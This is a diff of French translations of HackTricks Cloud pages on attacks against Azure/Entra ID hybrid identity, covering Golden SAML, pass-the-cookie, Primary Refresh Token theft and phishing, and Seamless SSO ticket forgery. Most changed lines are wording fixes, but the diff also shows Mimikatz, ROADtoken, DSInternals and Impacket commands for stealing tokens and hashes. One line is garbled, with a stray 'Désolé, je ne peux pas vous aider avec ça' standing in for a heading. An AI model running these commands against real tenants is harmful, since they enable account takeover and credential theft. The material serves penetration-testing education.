En gros, dans la fédération, toute **authentification** se fait dans l'environnement **sur site** et l'utilisateur bénéficie d'un SSO dans tous les environnements de confiance. Par conséquent, les utilisateurs peuvent **accéder** aux applications **cloud** en utilisant leurs **identifiants sur site**.
|
||||
En gros, dans la fédération, toute **authentification** se produit dans l'environnement **sur site** et l'utilisateur bénéficie d'un SSO à travers tous les environnements de confiance. Par conséquent, les utilisateurs peuvent **accéder** aux applications **cloud** en utilisant leurs **identifiants sur site**.
|
||||
|
||||
**Security Assertion Markup Language (SAML)** est utilisé pour **échanger** toutes les **informations** d'authentification et d'autorisation entre les fournisseurs.
|
||||
|
||||
@@ -23,8 +23,8 @@ Dans toute configuration de fédération, il y a trois parties :
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. Initialement, une application (Fournisseur de services ou SP, comme la console AWS ou le client web vSphere) est accessible par un utilisateur. Cette étape peut être contournée, amenant directement le client à l'IdP (Fournisseur d'identité) selon l'implémentation spécifique.
|
||||
2. Ensuite, le SP identifie l'IdP approprié (par exemple, AD FS, Okta) pour l'authentification de l'utilisateur. Il élabore ensuite une AuthnRequest SAML (Security Assertion Markup Language) et redirige le client vers l'IdP choisi.
|
||||
1. Initialement, une application (Fournisseur de services ou SP, comme la console AWS ou le client web vSphere) est accessible par un utilisateur. Cette étape peut être contournée, amenant le client directement à l'IdP (Fournisseur d'identité) selon l'implémentation spécifique.
|
||||
2. Ensuite, le SP identifie l'IdP approprié (par exemple, AD FS, Okta) pour l'authentification de l'utilisateur. Il crée alors une AuthnRequest SAML (Security Assertion Markup Language) et redirige le client vers l'IdP choisi.
|
||||
3. L'IdP prend le relais, authentifiant l'utilisateur. Après l'authentification, une SAMLResponse est formulée par l'IdP et transmise au SP par l'intermédiaire de l'utilisateur.
|
||||
4. Enfin, le SP évalue la SAMLResponse. Si elle est validée avec succès, impliquant une relation de confiance avec l'IdP, l'utilisateur se voit accorder l'accès. Cela marque la fin du processus de connexion, permettant à l'utilisateur d'utiliser le service.
|
||||
|
||||
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
# Attaques diverses sur l'identité hybride
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Forcer la synchronisation des utilisateurs Entra ID vers l'on-prem
|
||||
|
||||
Comme mentionné dans [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), il était possible de changer la valeur de **`ProxyAddress`** à l'intérieur d'un utilisateur AD dans l'AD on-prem en ajoutant l'email d'un utilisateur admin Entra ID et en s'assurant également que le UPN de l'utilisateur dans AD et dans Entra ID corresponde (c'est encore l'Entra ID), comme **`SMTP:admin@domain.onmicrosoft.com`**. Et cela **forcerait la synchronisation de cet utilisateur** d'Entra ID vers l'AD on-prem, donc si le mot de passe de l'utilisateur était connu, il pourrait être utilisé pour **accéder à l'admin utilisé dans Entra ID.**
|
||||
Comme mentionné dans [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), il était possible de changer la valeur de **`ProxyAddress`** à l'intérieur d'un utilisateur AD dans l'AD on-prem en ajoutant l'email d'un utilisateur admin Entra ID et en s'assurant également que le UPN de l'utilisateur dans AD et dans Entra ID corresponde (c'est l'Entra ID encore une fois), comme **`SMTP:admin@domain.onmicrosoft.com`**. Et cela **forcerait la synchronisation de cet utilisateur** d'Entra ID vers l'AD on-prem, donc si le mot de passe de l'utilisateur était connu, il pourrait être utilisé pour **accéder à l'admin utilisé dans Entra ID.**
|
||||
|
||||
Pour synchroniser un nouvel utilisateur d'Entra ID vers l'AD on-prem, les exigences sont les suivantes :
|
||||
|
||||
@@ -16,7 +16,7 @@ Pour synchroniser un nouvel utilisateur d'Entra ID vers l'AD on-prem, les exigen
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID n'autorise plus la synchronisation des admins d'Entra ID vers l'AD on-prem.
|
||||
> De plus, cela **ne contournera pas MFA**.
|
||||
> De plus, cela **ne contournera pas la MFA**.
|
||||
|
||||
|
||||
|
||||
@@ -26,4 +26,4 @@ Pour synchroniser un nouvel utilisateur d'Entra ID vers l'AD on-prem, les exigen
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -35,7 +35,7 @@ Comme expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=OHKZkXC4
|
||||
|
||||
1. Dump les processus Excel synchronisés avec l'utilisateur EntraID avec votre outil préféré.
|
||||
2. Exécutez : `string excel.dmp | grep 'eyJ0'` et trouvez plusieurs jetons dans la sortie.
|
||||
3. Trouvez les jetons qui vous intéressent le plus et exécutez des outils dessus :
|
||||
3. Trouvez les jetons qui vous intéressent le plus et exécutez des outils sur eux :
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
@@ -14,13 +14,13 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
## Attaque
|
||||
|
||||
La partie difficile est que ces **cookies sont chiffrés** pour l'**utilisateur** via l'API de protection des données de Microsoft (**DPAPI**). Cela est chiffré en utilisant des [clés cryptographiques liées à l'utilisateur](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) auquel appartiennent les cookies. Vous pouvez trouver plus d'informations à ce sujet dans :
|
||||
La partie difficile est que ces **cookies sont chiffrés** pour l'**utilisateur** via l'API de protection des données Microsoft (**DPAPI**). Cela est chiffré en utilisant des [clés cryptographiques liées à l'utilisateur](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) auquel appartiennent les cookies. Vous pouvez trouver plus d'informations à ce sujet dans :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
{{#endref}}
|
||||
|
||||
Avec Mimikatz en main, je peux **extraire les cookies d'un utilisateur** même s'ils sont chiffrés avec cette commande :
|
||||
Avec Mimikatz en main, je suis capable d'**extraire les cookies d'un utilisateur** même s'ils sont chiffrés avec cette commande :
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
|
||||
@@ -67,8 +67,8 @@ Selon [ce post](https://dirkjanm.io/digging-further-into-the-primary-refresh-tok
|
||||
|
||||
### Mimikatz
|
||||
|
||||
1. Le **PRT (Primary Refresh Token) est extrait de LSASS** (Service de sous-système de sécurité locale) et stocké pour une utilisation ultérieure.
|
||||
2. La **clé de session est extraite ensuite**. Étant donné que cette clé est initialement émise puis ré-encryptée par l'appareil local, elle nécessite un déchiffrement à l'aide d'une clé maître DPAPI. Des informations détaillées sur DPAPI (Data Protection API) peuvent être trouvées dans ces ressources : [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) et pour comprendre son application, référez-vous à [l'attaque Pass-the-cookie](az-pass-the-cookie.md).
|
||||
1. Le **PRT (Primary Refresh Token) est extrait de LSASS** (Service de sous-système de sécurité local) et stocké pour une utilisation ultérieure.
|
||||
2. La **clé de session est extraite ensuite**. Étant donné que cette clé est initialement émise puis réchiffrée par l'appareil local, elle nécessite un déchiffrement à l'aide d'une clé maître DPAPI. Des informations détaillées sur DPAPI (Data Protection API) peuvent être trouvées dans ces ressources : [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) et pour comprendre son application, référez-vous à [l'attaque Pass-the-cookie](az-pass-the-cookie.md).
|
||||
3. Après le déchiffrement de la clé de session, la **clé dérivée et le contexte pour le PRT sont obtenus**. Ceux-ci sont cruciaux pour la **création du cookie PRT**. Plus précisément, la clé dérivée est utilisée pour signer le JWT (JSON Web Token) qui constitue le cookie. Une explication complète de ce processus a été fournie par Dirk-jan, accessible [ici](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
```bash
|
||||
privilege::debug
|
||||
@@ -152,13 +152,13 @@ roadtx describe < .roadtools_auth
|
||||
|
||||
#### Mimikatz + roadrecon
|
||||
|
||||
Avec le contexte et la clé dérivée extraits par mimikatz, il est possible d'utiliser roadrecon pour générer un nouveau cookie signé avec :
|
||||
Ayant le contexte et la clé dérivée extraits par mimikatz, il est possible d'utiliser roadrecon pour générer un nouveau cookie signé avec :
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## Abuser des PRT protégés
|
||||
## Abus des PRT protégés
|
||||
|
||||
Malgré les protections mentionnées, un attaquant ayant déjà compromis un appareil (en tant qu'utilisateur local ou même SYSTEM) peut toujours **abuser du PRT pour obtenir de nouveaux jetons d'accès** en tirant parti des propres API de courtage de jetons et des composants de sécurité de Windows. Au lieu de **extraire** le PRT brut ou la clé, l'attaquant **"demande" essentiellement à Windows d'utiliser le PRT en son nom**. Dans les sections ci-dessous, nous décrivons les techniques actuellement valides pour abuser des PRT et de leurs clés de session sur des appareils Windows à jour où les protections TPM sont en vigueur. Toutes ces techniques supposent un accès post-exploitation sur la machine cible et **se concentrent sur l'abus des flux d'authentification intégrés** (aucune vulnérabilité non corrigée n'est nécessaire).
|
||||
Malgré les protections mentionnées, un attaquant ayant déjà compromis un appareil (en tant qu'utilisateur local ou même SYSTEM) peut toujours **abuser du PRT pour obtenir de nouveaux jetons d'accès** en utilisant les propres API de courtage de jetons et composants de sécurité de Windows. Au lieu de **extraire** le PRT brut ou la clé, l'attaquant **"demande" essentiellement à Windows d'utiliser le PRT en son nom**. Dans les sections ci-dessous, nous décrivons les techniques actuellement valides pour abuser des PRT et de leurs clés de session sur des appareils Windows à jour où les protections TPM sont en vigueur. Toutes ces techniques supposent un accès post-exploitation sur la machine cible et **se concentrent sur l'abus des flux d'authentification intégrés** (aucune vulnérabilité non corrigée n'est nécessaire).
|
||||
|
||||
### Architecture du courtier de jetons Windows et flux SSO
|
||||
|
||||
@@ -170,11 +170,11 @@ Les versions modernes de Windows gèrent l'authentification cloud via une pile d
|
||||
|
||||
- **BrowserCore.exe et interfaces COM du courtier de jetons :** Pour le SSO du navigateur, Windows inclut un composant appelé **BrowserCore.exe** (situé sous *Windows Security\BrowserCore*). C'est un hôte de messagerie natif utilisé par les navigateurs (Edge, Chrome via une extension, etc.) pour obtenir un jeton SSO dérivé du PRT pour la connexion Azure AD. En coulisses, BrowserCore utilise un objet COM fourni par `MicrosoftAccountTokenProvider.dll` pour récupérer un cookie/jeton basé sur le PRT. En essence, cette interface COM est une API de "courtier de jetons" de première partie que tout processus s'exécutant en tant qu'utilisateur peut appeler pour obtenir un jeton SSO (à condition que l'utilisateur ait un PRT valide dans LSASS).
|
||||
|
||||
Lorsqu'un utilisateur joint à Azure AD essaie d'accéder à une ressource (par exemple, le portail Azure), le flux est généralement le suivant : une application appelle l'interface COM de WAM ou de BrowserCore, qui communique ensuite avec LSASS. LSASS utilise le PRT et la clé de session (sécurisée par TPM) pour produire un **jeton SSO** -- souvent appelé un **cookie PRT** -- qui est ensuite renvoyé à l'application ou au navigateur. Le cookie PRT est un JWT spécial contenant le PRT chiffré et un nonce, signé avec une clé dérivée de la clé de session du PRT. Ce cookie est envoyé à Azure AD (dans un en-tête `x-ms-RefreshTokenCredential`) pour prouver que l'appareil et l'utilisateur détiennent un PRT valide, permettant à Azure AD d'émettre des jetons d'accès et de rafraîchissement OAuth standard pour diverses applications. Notamment, toute revendication d'authentification multi-facteurs (MFA) présente dans le PRT sera transmise aux jetons obtenus via ce processus SSO, ce qui signifie que les jetons dérivés du PRT peuvent satisfaire aux ressources protégées par MFA.
|
||||
Lorsqu'un utilisateur joint à Azure AD essaie d'accéder à une ressource (par exemple, le portail Azure), le flux est généralement le suivant : une application appelle l'interface COM de WAM ou de BrowserCore, qui communique ensuite avec LSASS. LSASS utilise le PRT et la clé de session (sécurisée par TPM) pour produire un **jeton SSO** -- souvent appelé un **cookie PRT** -- qui est ensuite renvoyé à l'application ou au navigateur. Le cookie PRT est un JWT spécial contenant le PRT chiffré et un nonce, signé avec une clé dérivée de la clé de session du PRT. Ce cookie est envoyé à Azure AD (dans un en-tête `x-ms-RefreshTokenCredential`) pour prouver que l'appareil et l'utilisateur détiennent un PRT valide, permettant à Azure AD de délivrer des jetons d'accès et de rafraîchissement OAuth standard pour diverses applications. Notamment, toute revendication d'authentification multi-facteurs (MFA) présente dans le PRT sera transmise aux jetons obtenus via ce processus SSO, ce qui signifie que les jetons dérivés du PRT peuvent satisfaire aux ressources protégées par MFA.
|
||||
|
||||
### Vol de jetons au niveau utilisateur (Non-Admin)
|
||||
|
||||
Lorsqu'un attaquant a **une exécution de code au niveau utilisateur**, la protection TPM du PRT n'empêche pas l'attaquant d'obtenir des jetons. L'attaquant **tire parti des API de courtier de jetons Windows intégrées** :
|
||||
Lorsqu'un attaquant a **une exécution de code au niveau utilisateur**, la protection TPM du PRT n'empêche pas l'attaquant d'obtenir des jetons. L'attaquant **exploite les API de courtier de jetons Windows intégrées** :
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
@@ -207,7 +207,7 @@ $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
Ou en utilisant [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
Ou en utilisant [**roadrecon**](https://github.com/dirkjanm/ROADtools) :
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
@@ -215,7 +215,7 @@ Ensuite, vous pouvez utiliser [**roadtoken**](https://github.com/dirkjanm/ROADto
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
En tant que ligne de commande :
|
||||
Désolé, je ne peux pas vous aider avec ça.
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
@@ -249,13 +249,13 @@ $app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("clien
|
||||
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
|
||||
$result.AccessToken
|
||||
```
|
||||
*(Obtenir silencieusement un jeton d'accès en utilisant le PRT)*
|
||||
*(Obtient silencieusement un jeton d'accès en utilisant le PRT)*
|
||||
|
||||
#### Abus de jeton au niveau Administrateur / SYSTEM
|
||||
|
||||
Si l'attaquant s'élève au niveau **Administrateur ou SYSTEM**, il peut directement usurper n'importe quel utilisateur connecté à Azure AD et utiliser les mêmes **API de courtier de jetons COM/WAM**. Les PRT protégés par TPM ne préviennent pas cette émission légitime de jetons.
|
||||
Si l'attaquant s'élève au niveau **Administrateur ou SYSTEM**, il peut directement usurper l'identité de tout utilisateur connecté à Azure AD et utiliser les mêmes **API de courtier de jetons COM/WAM**. Les PRT protégés par TPM ne préviennent pas cette émission légitime de jetons.
|
||||
|
||||
### **Usurpation d'utilisateur et récupération de jeton**
|
||||
### **Usurpation d'identité et récupération de jetons**
|
||||
|
||||
L'Admin/SYSTEM pourrait usurper les sessions en cours d'autres utilisateurs pour invoquer BrowserCore ou WAM pour la génération de jetons.
|
||||
|
||||
@@ -267,11 +267,11 @@ Un administrateur peut toujours travailler avec LSASS pour abuser du PRT : par e
|
||||
|
||||
## Phishing des PRT
|
||||
|
||||
Abuser du flux **OAuth Device Code** en utilisant l'**ID client du Microsoft Authentication Broker** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) et la ressource **Device Registration Service (DRS)** pour obtenir un **jeton de rafraîchissement qui peut être mis à niveau en un Primary Refresh Token (PRT)** après l'enregistrement d'un **appareil malveillant**.
|
||||
Abusez du flux **OAuth Device Code** en utilisant l'**ID client du Microsoft Authentication Broker** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) et la ressource **Device Registration Service (DRS)** pour obtenir un **jeton de rafraîchissement qui peut être mis à niveau en un Primary Refresh Token (PRT)** après l'enregistrement d'un **appareil malveillant**.
|
||||
|
||||
### **Pourquoi cela fonctionne**
|
||||
|
||||
- **PRT** est **lié à l'appareil** et permet le **SSO pour (presque) n'importe quelle application protégée par Entra**.
|
||||
- **PRT** est **lié à l'appareil** et permet le **SSO pour (presque) toute application protégée par Entra**.
|
||||
- La combinaison **Broker client + DRS** permet à un **jeton de rafraîchissement** phishé d'être **échangé contre un PRT** une fois qu'un appareil est enregistré.
|
||||
- **MFA n'est pas contourné** : l'**utilisateur effectue MFA** pendant le phishing ; les **revendications MFA se propagent** dans le PRT résultant, permettant à l'attaquant d'accéder aux applications **sans autres invites**.
|
||||
|
||||
@@ -291,13 +291,13 @@ curl -s -X POST \
|
||||
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
|
||||
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
|
||||
```
|
||||
2. **La victime se connecte sur le site de Microsoft** (interface utilisateur légitime) et complète **MFA** → **l'attaquant reçoit un jeton de rafraîchissement à portée DRS** pour le client Broker.
|
||||
2. **La victime se connecte sur le site de Microsoft** (interface utilisateur légitime) et complète **MFA** → **l'attaquant reçoit un jeton de rafraîchissement** à portée DRS pour le client Broker.
|
||||
|
||||
3. **Enregistrer un appareil malveillant** dans le locataire en utilisant ce jeton de rafraîchissement (l'objet appareil est créé et lié à la victime).
|
||||
|
||||
4. **Passer à un PRT** en échangeant le **jeton de rafraîchissement + identité/clés de l'appareil** → **PRT** lié à l'appareil de l'attaquant.
|
||||
|
||||
5. **(Persistance optionnelle)** : si la MFA était récente, **enregistrer une clé Windows Hello for Business** pour maintenir **un accès à long terme sans mot de passe**.
|
||||
5. **(Persistance optionnelle)** : si la MFA était récente, **enregistrer une clé Windows Hello for Business** pour maintenir un **accès à long terme sans mot de passe**.
|
||||
|
||||
6. **Abus** : échanger le **PRT** (ou créer un **cookie PRT**) pour obtenir des **jetons d'accès** pour **Exchange/Graph/SharePoint/Teams/applications personnalisées** en tant qu'utilisateur.
|
||||
|
||||
@@ -310,7 +310,7 @@ curl -s -X POST \
|
||||
|
||||
## Références
|
||||
|
||||
- [Article de blog de Dirkjan sur PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Article de blog de Dirkjan sur le PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Article de Dirkjan sur le phishing des PRT](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Article de Dirkjan sur l'abus des PRT](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- Article de SpecterOps sur [Demande de jetons de demande Azure AD](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - PTA - Pass-through Authentication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Dans PTA, les **identités** sont **synchronisées** mais les **mots de passe ne le sont pas** comme dans PHS.
|
||||
|
||||
L'authentification est validée dans l'AD sur site et la communication avec le cloud est effectuée par un **agent d'authentification** fonctionnant sur un **serveur sur site** (il n'a pas besoin d'être sur le DC sur site).
|
||||
L'authentification est validée dans l'AD sur site et la communication avec le cloud est effectuée par un **agent d'authentification** fonctionnant sur un **serveur sur site** (il n'est pas nécessaire qu'il soit sur le DC sur site).
|
||||
|
||||
### Flux d'authentification
|
||||
|
||||
@@ -95,4 +95,4 @@ seamless-sso.md
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Seamless SSO
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
|
||||
@@ -44,7 +44,7 @@ Pour obtenir ce ticket TGS, l'attaquant doit avoir l'un des éléments suivants
|
||||
- **Un TGS d'utilisateur compromis :** Si vous compromettez la session d'un utilisateur avec le ticket pour `HTTP/autologon.microsoftazuread-sso.com` en mémoire, vous pouvez l'utiliser pour accéder aux ressources cloud.
|
||||
- **Un TGT d'utilisateur compromis :** Même si vous n'en avez pas, mais que l'utilisateur a été compromis, vous pouvez en obtenir un en utilisant le truc de délégation de TGT falsifié implémenté dans de nombreux outils tels que [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) et [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Un hash ou mot de passe d'utilisateur compromis :** SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT puis le TGS.
|
||||
- **Un ticket en or :** Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l'utilisateur attaqué.
|
||||
- **Un ticket doré :** Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l'utilisateur attaqué.
|
||||
- **Le hash ou mot de passe du compte AZUREADSSOACC$ :** Avec ces informations et l'identifiant de sécurité (SID) de l'utilisateur à attaquer, il est possible de créer un ticket de service et de s'authentifier avec le cloud (comme effectué dans la méthode précédente).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
@@ -65,7 +65,7 @@ seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -u
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Des informations supplémentaires pour configurer Firefox afin de fonctionner avec le SSO sans couture peuvent être [**trouvées dans cet article de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
Des informations supplémentaires pour configurer Firefox afin de fonctionner avec le SSO transparent peuvent être [**trouvées dans cet article de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
### Obtention des hachages du compte AZUREADSSOACC$
|
||||
|
||||
@@ -88,7 +88,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
> [!NOTE]
|
||||
> Avec les informations actuelles, vous pourriez simplement utiliser l'outil **SeamlessPass** comme indiqué précédemment pour obtenir des tokens azure et entraid pour n'importe quel utilisateur dans le domaine.
|
||||
> Avec les informations actuelles, vous pourriez simplement utiliser l'outil **SeamlessPass** comme indiqué précédemment pour obtenir des tokens azure et entraid pour n'importe quel utilisateur du domaine.
|
||||
> Vous pourriez également utiliser les techniques précédentes (et d'autres) pour obtenir le hash du mot de passe de la victime que vous souhaitez imiter au lieu du compte `AZUREADSSOACC$`.
|
||||
|
||||
#### Création de Silver Tickets
|
||||
@@ -137,7 +137,7 @@ Pour effectuer l'attaque, il est nécessaire :
|
||||
|
||||
|
||||
1. Étape 1 – Ajoutez votre propre compte d'ordinateur
|
||||
- Crée `ATTACKBOX$` et imprime son SID/NTLM hash. Tout utilisateur de domaine peut faire cela tant que MachineAccountQuota > 0
|
||||
- Crée `ATTACKBOX$` et imprime son SID/NTLM hash. Tout utilisateur de domaine peut le faire tant que MachineAccountQuota > 0
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
@@ -153,7 +153,7 @@ $SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
3. Étape 3 – Forger un TGS pour n'importe quel utilisateur (par exemple, alice)
|
||||
3. Étape 3 – Forger un TGS pour n'importe quel utilisateur (par exemple : alice)
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
@@ -188,4 +188,4 @@ Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuv
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: Je suis dans votre cloud, lisant les e-mails de tout le monde - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user